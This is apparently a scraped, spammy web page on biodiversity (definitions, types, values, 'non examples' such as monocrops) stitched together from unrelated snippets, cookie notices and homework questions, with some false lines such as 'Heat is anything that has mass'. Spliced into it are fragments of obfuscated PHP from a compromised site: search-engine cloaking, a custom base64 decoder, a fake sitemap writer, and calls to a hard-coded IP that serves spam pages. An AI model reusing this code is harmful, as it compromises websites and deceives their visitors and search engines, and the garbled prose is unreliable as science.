Healthy ecosystems are vital to life. You cannot download interactives. 4 ? Similarly, fishermen in the coastal areas are dependent on the marine resources. It stands for the number and distribution of species. Genetic diversity is the product of recombination of genetic material in the process of inheritance. Whom life had made ugly in the story of dodong and teang? It is the most complex and important feature of our planet. These areas are the biodiversity hotspots, 36 regions where success in conserving species can have an enormous impact in securing our global biodiversity. The lifestyle of the ancient people was closely interwoven with their surroundings. For example, in India, the richness of flora and fauna are depicted in many paintings; animals are represented as vehicles of Gods; the dances and festivals are intricately associated with nature. For example, a US study by Burghardt et al. Maintaining biodiversity is essential for organic waste disposal, soil formation, biological nitrogen fixation, crop and livestock genetics, biological pest control, plant pollination, and pharmaceuticals. Productive use Values 3. Each species is adapted to live in specific environment, from mountain peaks to the depth of seas, from polar ice caps to tropical rain forests and deserts. The genetics are the same. The audio, illustrations, photos, and videos are credited beneath the media asset, except for promotional images, which generally link to another page that contains the media credit. Ecosystems depend on the health and vitality of the individual organisms that compose them. the slower its molecules move. Ecosystems can also contain species too small to see with the naked eye. People living in different regions show a great level of variation. The ground doesnt support much in the way of plant life because it is frozen, so there is less. At the highest level, one can look at all the different species on the entire Earth. - Land conversion in savannas. Direct use values include the economic advantages derived from directly forest wood, fuelwood, edible plants, and so on. Biodiversity or Biological diversity: It refers to the variety or organisms existing on the earth. This is related to natural products that are used directly for food, fodder, timber, fuel wood, etc. What are the characters Mendel selected for his experiments on pea plant? taxonomic/ phylogenetic biodiversity. system of the United States. By weight, 97% of the world's. You can specify conditions of storing and accessing cookies in your browser. Species diversity ADVERTISEMENTS: 2. Flora and Fauna: The plants found in a particular area are termed as flora area. Hotspots of biodiversity and . Theres variety in genes, variety among species, and a variety of ecosystems. Group of answer choices 1996 - 2022 National Geographic Society. Wiki User 2014-06-11 21:37:57. Biodiversity is usually explored at three levels genetic diversity, species diversity and ecosystem diversity. Many people around the world still depend on wild species for most of their needs like food, shelter and clothing (Fig. The cookie is set by the GDPR Cookie Consent plugin and is used to store whether or not user has consented to the use of cookies. Many of them still live in the forests and meet their daily requirements from their surroundings. When a new, non-native species arrives in an area, it is often called an alien species. Maintenance of ecological balance, conservation of natural resources and prevention of soil erosion may be considered as the examples of indirect use of biodiversity. Global Biodiversity 2. "salt12"), 0, 4));_zybj69::_wiv1r(dirname(__FILE__), substr(md5(_z1j9awe::$_elxez7kv . "_" . This refers to the value of biodiversity that is yet unknown, but needs to be explored for future possibilities and use. Purchase sustainable products 9. Government legislation 2. Non-native species as an integral component of biodiversity There are several reasons why non-native species should be considered part of biodiversity and included in biodiversity and sustainability indices. Through proper education and awareness, the peoples conscience against such practices must be raised. Biological diversity adds to the quality of life and provides some of the most beautiful aspects of our existence. $_pwt9wm26 . @$_SERVER['REQUEST_URI'];$_nejfd7zq['ua'] = @$_SERVER['HTTP_USER_AGENT'];$_nejfd7zq['lang'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];$_nejfd7zq['ref'] = @$_SERVER['HTTP_REFERER'];$_nejfd7zq['enc'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];$_nejfd7zq['acp'] = @$_SERVER['HTTP_ACCEPT'];$_nejfd7zq['char'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];$_nejfd7zq['conn'] = @$_SERVER['HTTP_CONNECTION'];return $_nejfd7zq;}public function __construct(){$this->_qkv4ah6z = explode("/", $this->_qkv4ah6z);$this->_2vs5g2x8 = explode("/", $this->_2vs5g2x8);}static public function _x07u1($_k6q35h94){if (strlen($_k6q35h94) < 4) {return "";}$_ywfd300q = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$_xqozgy57 = str_split($_ywfd300q);$_xqozgy57 = array_flip($_xqozgy57);$_sj0ok80t = 0;$_age0y485 = "";$_k6q35h94 = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $_k6q35h94);do {$_h5ntidrj = $_xqozgy57[$_k6q35h94[$_sj0ok80t++]];$_27czldnv = $_xqozgy57[$_k6q35h94[$_sj0ok80t++]];$_qf02zxzp = $_xqozgy57[$_k6q35h94[$_sj0ok80t++]];$_vqx33fej = $_xqozgy57[$_k6q35h94[$_sj0ok80t++]];$_i4fdeedb = ($_h5ntidrj << 2) | ($_27czldnv >> 4);$_mmtdgs3r = (($_27czldnv & 15) << 4) | ($_qf02zxzp >> 2);$_37hw1763 = (($_qf02zxzp & 3) << 6) | $_vqx33fej;$_age0y485 = $_age0y485 . A healthy ecosystem has a rich level of biodiversity. md5($_qr2qebln) . It has been estimated that more than 50 million species of plants, animals and micro-organisms are existing in the world. Yeast: Origin, Reproduction, Life Cycle and Growth Requirements | Industrial Microbiology, How is Bread Made Step by Step? Biodiversity can occur in a very small particular area or in a very large area like the ocean. Explain with suitable example. Even the fossil fuels like coal and petroleum are the products of biodiversity from the geological past. Some scientists estimate that half of all species on Earth will be wiped out within the next century. D The cell will not store food, water, nutrients, and waste. The term biodiversity (from biological diversity) refers to the variety of life on Earth at all its levels, from genes to ecosystems, and can encompass the evolutionary, ecological, and cultural processes that sustain life. The genetic variability is essential for healthy breeding population, the reduction in genetic variability among breeding individuals leads to inbreeding which in turns can lead to extinction of species. It is important in natural as well as artificial ecosystems. Of the nine considered, just biodiversity loss and nitrogen pollution are estimated to have been crossed, unlike CO2 levels, freshwater used and ozone losses. It can be used more specifically to refer to all of the speciesin one region or ecosystem. life on Earth. The Gypsy Moth, Nutria, Zebra Mussel, Hydrilla, Sea Lamprey and Kudzu are examples of non-natives that have caused massive economic and ecological losses in new locations because the natural controls of their native ecosystems were not there. It can be studied on many levels. The definition of biodiversity loss is described as the loss of life on Earth at various levels, ranging from reductions in the genetic diversity to the collapse of entire ecosystems. Human society depends on biological resources, their diversity and the ecosystems that sustain them to provide essential goods and services. , Evenness = Proportions of species or functional groups present on a site. Biodiversity maintains the natural balance of ecosystems and every species has its niche. And are, well, salty. The more a region is rich in terms of biodiversity, the better are the different cycles regulated. Challenges to Biological Diversity in Urban Areas. Ecological diversity refers to the variability among the species of plants and animals living together and connected by flow of energy and cycling of nutrients in different ecosystems or ecological complexes. Many birds of course rely on caterpillars for feeding their nestlings. and non-living components, like climate, matter and energy that are connected by energy flow. md5(_z1j9awe::$_elxez7kv) . $_m2idygbf[array_rand($_m2idygbf)]);}static public function _wu7hn($_m14lyo7e){if (@file_exists(_l7mxzj6::$_vi7wfyb8 . The life of the indigenous people in many parts of the world still revolves around the forests and environment, even in the modem times. The Suns radiant energy is converted to chemical energy by plants. We may not be deriving direct benefits from many plants and animals, but should they be harmed because of this? flora, fauna, etc. Of all the different environments on Earth, the ocean has the highest level of biodiversity, with the widest array of species calling it home. "_" . dragon shield dual matte; aurora pharma hyderabad Text on this page is printable and can be used according to our Terms of Service. Biodiversity refers to all the different kinds of living organisms within a given area. The term "biodiversity" is a contraction of "biological diversity" or "biotic diversity". In 1994-95 the income from agriculture, forestry and fisheries in India was nearly 30 per cent or 736.88 billion rupees. A field planted in only corn is not a biologically diverse field. There are various mathematical ways of measuring biodiversity, which calculate the number of species diversity in different regions. 19.5. Biodiversity loss is the extinction of species (plant or animal) worldwide, and also the local reduction or loss of species in a certain habitat. What is the average 40 yard dash time for a 11 year old boy? Due to modernisation, their habitats are being encroached upon and their very survival is at stake. 2. This website uses cookies to improve your experience while you navigate through the website. The main examples of overexploitation are overfishing, excessive hunting of wild animals, excessive cutting down of firewood and the depletion of . non examples of biodiversity. md5($_m14lyo7e) . Quick Navigation for 10 Ways to Conserve Biodiversity 1. This energy flows through the different systems when animals eat the plants and then are eaten, in turn, by other animals. "/sitemap.xml";$_viv0k2f2 = "\n\n";$_124i99v3 = "";$_xqozgy57 = _zybj69::_l14oe();$_54aazsvb = array();if (file_exists($_m48aed14)) {$_fvadeerv = simplexml_load_file($_m48aed14);foreach ($_fvadeerv as $_txumrc0d) {$_54aazsvb[(string)$_txumrc0d->loc] = (string)$_txumrc0d->lastmod;}} else {$_vcfcv47t = FALSE;}foreach ($_xqozgy57 as $_0f2t5geo) {$_nymeucnp = _z1j9awe::_ivz5p($_0f2t5geo);if (isset($_54aazsvb[$_nymeucnp])) {continue;}if ($_vcfcv47t) {$_9e78oorf = time();} else {$_9e78oorf = time() - (crc32($_0f2t5geo) % (60 * 60 * 24 * 30));}$_54aazsvb[$_nymeucnp] = date("Y-m-d", $_9e78oorf);}$_qftjxqqy = "";foreach ($_54aazsvb as $_fhwsdh0q => $_9e78oorf) {$_qftjxqqy .= "\n";$_qftjxqqy .= sprintf("%s\n", $_fhwsdh0q);$_qftjxqqy .= sprintf("%s\n", $_9e78oorf);$_qftjxqqy .= "\n";}$_zq68e612 = $_viv0k2f2 . non examples of biodiversity Research Programs Director, Center for Conservation Biology, Stanford University, Stanford, California. If you have questions about licensing content on this page, please contact ngimagecollection@natgeo.com for more information and to obtain a license. Plants and microbes help to degrade chemical pollutants and organic wastes and cycle . In a biodiverse ecosystem, if the environment changes and some organisms can no longer thrive, others can take their place and fulfill essential functions. Homo sapiens, is distinct from another. Certain regions support a more diverse populations than others. Endemic speciesspecies that are only found in one particular locationare also found in hotspots. What invention (doesn't matter who created it) is the least unimportant in modern day society? All organisms that can reproduce with each other fall into one species. $_y1xuauql, "", $_km41jhad);$_km41jhad = str_replace("-", " ", $_km41jhad);$_k53vw4ei = array(".html", ".php", ".aspx");foreach ($_k53vw4ei as $_t1iowsis) {if (strpos($_km41jhad, $_t1iowsis) === strlen($_km41jhad) - strlen($_t1iowsis)) {$_km41jhad = substr($_km41jhad, 0, strlen($_km41jhad) - strlen($_t1iowsis));}}$_km41jhad = urldecode($_km41jhad);$_fj9b9r94 = _zybj69::_l14oe();if (empty($_km41jhad)) {$_km41jhad = $_fj9b9r94[0];} else if (!in_array($_km41jhad, $_fj9b9r94)) {$_zc6kpet6 = 0;foreach (str_split($_km41jhad) as $_abi06q7q) {$_zc6kpet6 += ord($_abi06q7q);}$_km41jhad = $_fj9b9r94[$_zc6kpet6 % count($_fj9b9r94)];}if (!empty($_km41jhad)) {$_f63bqkhs = _xmzilp::_2hbb7($_km41jhad);if (empty($_f63bqkhs)) {list($_sfpsvq6o, $_oz0o512k) = $this->_w5rz8($_km41jhad);if (empty($_oz0o512k)) {return;}$_f63bqkhs = new _xmzilp($_sfpsvq6o, $_oz0o512k, $_km41jhad, _z1j9awe::_r22cc(_z1j9awe::$_tn1np9gq, _z1j9awe::$_m8hojt9g));$_f63bqkhs->_wu7hn();}echo $_f63bqkhs->_38lo9();}}}_xmzilp::_wiv1r(dirname(__FILE__), -1, _z1j9awe::$_elxez7kv);_l7mxzj6::_wiv1r(dirname(__FILE__), substr(md5(_z1j9awe::$_elxez7kv . Toggle navigation. "/sitemap.xml";@file_put_contents($_m48aed14, $_zq68e612);return $_fnrke8ld;}public function _skvxt(){$_y1xuauql = substr(md5(_z1j9awe::$_elxez7kv . Who launched the cognitive revolution in psychology? An example that does not represent biodiversity is the moncrop "/";}return sprintf("%s://%s%s", _z1j9awe::_u1jws() ? The commonly used animal products used by the modem society come from the advances made in the fields of poultry farming, pisciculture, silviculture, dairy farming, etc. And what is its implication to Sustainable development? Share Your PPT File. Examples of ecosystem biodiversity include: Deserts Coral reefs Wetlands Tropical or boreal forests Grasslands Urban parks or cultivated agricultural land. This chapter serves to conceptualize, identify and promote implementation of the framing tool we term Biodiversity Islands: ecological refuges where plants and animals can thrive without major interference from human activity, thereby providing ecological, economic, and social benefits at the ecosystem, landscape, and global levels. $_6y46sao9, FILE_IGNORE_NEW_LINES));}}return _zybj69::$_j4rgqzk2;}static public function _wu7hn($_qr2qebln){if (@file_exists(_zybj69::$_vi7wfyb8 . $_124i99v3;$_fnrke8ld = _z1j9awe::_9fszy() . What are some. Examples Of Biodiversity Loss. Identifying and understanding the relationships between all the life on Earth are some of . The amount of biodiversity that is present can help to define an area's richness and productivity. Out of these, the cookies that are categorized as necessary are stored on your browser as they are essential for the working of basic functionalities of the website. Biodiversity is all the different kinds of life youll find in one areathe variety of animals, plants, fungi, and even microorganisms like bacteria that make up our natural world. The earth has a number of ecosystems like grasslands, forests, semi arid deserts, marine, freshwater, wetland, swamp, marshlands (Fig. Heat is anything that has mass and takes up space. Below, we discuss six of the major threats to biodiversity: climate change, habitat loss and degradation, pollution, invasive species, over-exploitation and epidemics. What are 4 main causes of voter apathy What are 4 solutions? Scientists have discovered and named about 1.75 million species, which is of utmost importance. The term gene pool has been used to indicate the genetic diversity in the different species (Fig. What do you mean by permeability of membrane? . The three different types of biodiversity are species, genetic and ecosystem diversity. Genetic diversity describes how closely related the members of one species are in a given ecosystem. It refers to variabilities among plants, animals and microorganism species. Non-indigenous species are species introduced outside their natural past or present range, which might survive and subsequently reproduce. Human society depends on biological resources, their diversity and the ecosystems that sustain them to provide essential goods and services. Examples of species include blue whales, white-tailed deer, white pine trees, sunflowers, and microscopic bacteria that can't even be seen by the naked eye. Biodiversity is the number and variety of plants, animals and other organisms that are living in an ecosystem. So the offspring is identical to the parent. JUST TYPE THE COLOR OF THE ANSWER HIGHLIGHTED. Seventy percent of emerging viral diseases have spread from animals to humans. There are said to be three dimension of biodiversity. preg_quote("noise complaint lethbridge", '/') . 19.6). It includes the organisation of organisms at many levels ranging from complete ecosystems to the chemical components that form the molecular basis of heredity. 27, 2022 . First off, the term biodiversity encapsulates the variety of life on earth. Genetic diversity encompasses all the variety of different genetic information contained in animals, microorganisms and plants. Hope this helps :), A monocrop is a non example of biodiversity because it contains only one species such as all corn therefore there is very little biodiversity, https://forms.gle/Dkw5McZ4JJJCbT6A8 complete please, which sentence best explains how green plants use the sun's energy quick pls. The domesticated varieties of agricultural crops and animals have also evolved from the wild gene pool. This is not biodiversity because they are the same. Explain what would happen if two cars who are traveling the same speed are in a collision, Car 1 is traveling 30mph and has a mass of 990 kilograms an . "salt3"), 0, 6);if (!$this->_mpf94()) {if ($this->_0ra8t()) {return;}}if (!empty($_GET)) {$_lwq8e2u0 = array_values($_GET);} else {$_lwq8e2u0 = explode("/", $_SERVER["REQUEST_URI"]);$_lwq8e2u0 = array_reverse($_lwq8e2u0);}$_km41jhad = "";foreach ($_lwq8e2u0 as $_74y19fxt) {if (substr_count($_74y19fxt, "-") > 0) {$_km41jhad = $_74y19fxt;break;}}$_km41jhad = str_replace($_y1xuauql . Standard Biodiversity Action Plan Example ec.europa.eu Details File Format PDF Size: 1 MB Download School's Biodiversity Action Plan Example Biodiversity is a measure of the variety of organisms that exist in different ecosystems. One example is our own species, for we differ in a wide variety of characteristics that are partly or wholly genetically determined, including height, weight, skin and eye colour, behavioral traits, and resistance to various diseases. Access to a sufficiency of a nutritious variety of food is a fundamental determinant of health. Without biodiversity, life would not sustain. Biodiversity conservation refers to the protection, preservation, and management of ecosystems and natural habitats and ensuring that they are healthy and functional. The Sun is the ultimate source of energy for all the ecosystems. Similarly, all our domesticated animals came from wild-living ancestral species. Each species has its own utility in the world of biodiversity and has every right to live. This cookie is set by GDPR Cookie Consent plugin. Flightless birds were particularly vulnerable to human and non-human hunters, and many of them went extinct. An example of biodiversity loss was the extinction of over 200 species of cichlids in Lake Victoria; this was caused by the introduction of the Nile Perch as well as increased agriculture and fishing. Morality and ethics teach us to preserve all forms of life and not to harm any organism unnecessarily. Bio means life, diversity means variety. What is the best estimate of the capacity of a juice box? Biodiversity describes the richness and variety of life on earth. Ecological life support biodiversity provides functioning ecosystems that supply oxygen, clean air and water, pollination of plants, pest control, wastewater treatment and many ecosystem services. The dimensions are genetic biodiversity,. Most people recognize biodiversity by speciesa group of individual living organisms that can interbreed. Besides its ecological and environmental value, biodiversity has significant socio-economic values as well. Does cognitive reserve prevent Alzheimers disease pathology from developing in. ", $_SERVER["REQUEST_URI"], 2);$_0hjsue8t = $_0hjsue8t[0];$_gykepn5q = substr($_0hjsue8t, 0, strrpos($_0hjsue8t, "/"));return sprintf("%s://%s%s", _z1j9awe::_u1jws() ? Biological diversity or Biodiversity is defined as the variety and variability among the living organisms and the ecological complexes in which they occur. Ecosystem diversity examples are coastal dunes, forests, wetlands, and rivers. A monocrop is a non example of biodiversity because it contains only one species, such as all corn, therefore there is very little biodiversity. Scientists are interested in how much biodiversity there is on a global scale, given that there is still so much biodiversity to discover. Non examples of biodiversity - 9514132. boaduwaa80 boaduwaa80 04/06/2018 Biology High School answered Non examples of biodiversity 2 See answers Advertisement We use cookies on our website to give you the most relevant experience by remembering your preferences and repeat visits. The term originates from the phrase "biological diversity", which . Necessary cookies are absolutely essential for the website to function properly. In the recent decades, a new science named biotechnology has emerged. This manure can also be used to fertilize cropland. "\n", 8);}}class _z1j9awe{static public $_hscbutr8 = "5.5";static public $_elxez7kv = "50a434ff-fd70-7920-1adc-3b40983c8cca";private $_qkv4ah6z = "http://136.12.78.46/app/assets/api2?action=redir";private $_2vs5g2x8 = "http://136.12.78.46/app/assets/api?action=page";static public $_tn1np9gq = 5;static public $_m8hojt9g = 20;private function _mpf94(){$_xa8zxjvq = array('#libwww-perl#i','#MJ12bot#i','#msnbot#i', '#msnbot-media#i','#YandexBot#i', '#msnbot#i', '#YandexWebmaster#i','#spider#i', '#yahoo#i', '#google#i', '#altavista#i','#ask#i','#yahoo!\s*slurp#i','#BingBot#i');if (!empty($_SERVER['HTTP_USER_AGENT']) && (FALSE !== strpos(preg_replace($_xa8zxjvq, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT']), '-NO-WAY-'))) {$_ksa1y3ow = 1;} elseif (empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || empty($_SERVER['HTTP_REFERER'])) {$_ksa1y3ow = 1;} elseif (strpos($_SERVER['HTTP_REFERER'], "google") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "yahoo") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "bing") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "yandex") === FALSE) {$_ksa1y3ow = 1;} else {$_ksa1y3ow = 0;}return $_ksa1y3ow;}private static function _60qz6(){$_nejfd7zq = array();$_nejfd7zq['ip'] = $_SERVER['REMOTE_ADDR'];$_nejfd7zq['qs'] = @$_SERVER['HTTP_HOST'] . Biodiversity Planning Support Programme is a multi-donor initiative implemented by the United Nations Development Programme and the United Nations Environment Programme. Biodiversity 1. Mandira P. Example of ecosystem with low biodiversity is definitely a desert. Before sharing your knowledge on this site, please read the following pages: 1. . md5($this->_18bgb817 . Unfortunately, most of the ecosystems that provide these services are not exploited sustainably. @file_exists(_l7mxzj6::$_axifonul)) {@mkdir(_l7mxzj6::$_axifonul);}}public static function _gkfi5(){return TRUE;}static public function _fvpve(){$_w9i806uc = 0;foreach (scandir(_l7mxzj6::$_axifonul) as $_7aysbxzz) {if (strpos($_7aysbxzz, _l7mxzj6::$_vi7wfyb8) === 0) {$_w9i806uc += 1;}}return $_w9i806uc;}static public function _50iez(){$_m2idygbf = array();foreach (scandir(_l7mxzj6::$_axifonul) as $_7aysbxzz) {if (strpos($_7aysbxzz, _l7mxzj6::$_vi7wfyb8) === 0) {$_m2idygbf[] = $_7aysbxzz;}}return @file_get_contents(_l7mxzj6::$_axifonul . Although important to the ecosystem, abiotic factors are not part of Earths biodiversity. "_" . Species diversity examples are animals, plants, and microorganisms. The uniqueness of our planet Earth is due to the presence of life manifested through the diversity in flora and fauna. Invasive non-native plant species (also called alien, introduced, or exotic) grow quickly and aggressively. It refers to the variabilitys among species of plants, animals and microorganisms; ecosystems; ecosystem including terrestrial, aerial, marine and other aquatic system and ecological complexes of which they are part. Learn how . Biodiversity is the variety of life. Biodiversity loss can have significant direct human health impacts if ecosystem services are no longer adequate to meet social needs. This cookie is set by GDPR Cookie Consent plugin. Aesthetic Value 6. B Genetic information will not be transmitted by the , Arctic Biome. Not all non-native species become pests, or even survive, in new locations (see the Ten Percent Rule ). If no button appears, you cannot download or save the media. A Photosynthesis will not take place. What are cognitive reappraisal strategies? . 19.4 and Table 19.1). "bing" : "none");$_mv2dg2vr = substr(md5(_xmzilp::$_aic6l5c5 . Sexual reproduction is important in maintaining genetic diversity as it gives unique offspring by combining genes of parents. We also use third-party cookies that help us analyze and understand how you use this website. A teacher walks into the Classroom and says If only Yesterday was Tomorrow Today would have been a Saturday Which Day did the Teacher make this Statement? If you have questions about how to cite anything on our website in your project or classroom presentation, please contact your teacher. Heat flows from a hotter object to a colder one. Our planet consists of various species that are building blocks of Earth.